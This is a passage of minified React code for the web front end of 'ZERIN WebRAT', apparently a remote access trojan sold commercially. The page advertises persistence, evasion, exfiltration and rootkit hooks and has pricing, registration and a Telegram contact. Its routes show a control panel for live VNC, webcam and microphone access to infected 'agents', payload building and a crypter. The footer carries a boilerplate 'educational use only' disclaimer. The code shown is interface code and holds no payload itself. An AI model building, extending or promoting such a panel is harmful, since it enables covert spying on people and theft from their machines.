access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(Zl,{value:String(a),label:"Capabilities"}),s.jsx(Zl,{value:"13",label:"Persist Methods"}),s.jsx(Zl,{value:"11",label:"Rootkit Hooks"}),s.jsx(Zl,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Mi.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Mi.map((o,l)=>s.jsx(kV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Ql({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0})}function zV({children:e}){const{isAuthenticated:t,isAdmin:n}=ls();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0}):s.jsx(Qi,{to:"/login",replace:!0})}function L2({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(Qi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function CV(){const[e]=xx(),t=ur();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(vx(n),xi()),t("/dashboard",{replace:!0})},[e,t]),null}function PV(){const{isAuthenticated:e}=ls();return e?s.jsx(Qi,{to:"/dashboard",replace:!0}):yx()?s.jsx(WA,{}):s.jsx(Qi,{to:"/login",replace:!0})}function EV(){return s.jsx(aA,{children:s.jsxs(pE,{children:[s.jsx(ht,{path:"/",element:s.jsx(PV,{})}),s.jsx(ht,{path:"/auth",element:s.jsx(CV,{})}),s.jsx(ht,{path:"/features",element:s.jsx(SV,{})}),s.jsx(ht,{path:"/payment/:id",element:s.jsx(yV,{})}),s.jsx(ht,{path:"/login",element:s.jsx(L2,{children:s.jsx(UA,{})})}),s.jsx(ht,{path:"/register",element:s.jsx(L2,{children:s.jsx(VA,{})})}),s.jsx(ht,{path:"/vnc/:id",element:s.jsx(Ql,{children:s.jsx(rV,{})})}),s.jsx(ht,{path:"/webcam/:id",element:s.jsx(Ql,{children:s.jsx(cV,{})})}),s.jsx(ht,{path:"/mic/:id",element:s.jsx(Ql,{children:s.jsx(dV,{})})}),s.jsxs(ht,{element:s.jsx(Ql,{children:s.jsx(LA,{})}),children:[s.jsx(ht,{path:"/dashboard",element:s.jsx(SU,{})}),s.jsx(ht,{path:"/agents/:id",element:s.jsx(XU,{})}),s.jsx(ht,{path:"/events",element:s.jsx(QU,{})}),s.jsx(ht,{path:"/payloads",element:s.jsx(tV,{})}),s.jsx(ht,{path:"/crypter",element:s.jsx(xV,{})}),s.jsx(ht,{path:"/admin",element:s.jsx(zV,{children:s.jsx(hV,{})})})]}),s.jsx(ht,{path:"*",element:s.jsx(Qi,{to:"/",replace:!0})})]})})}Np.createRoot(document.getElementById("root")).render(s.jsx(wh.StrictMode,{children:s.jsx(jE,{children:s.jsx(EV,{})})}));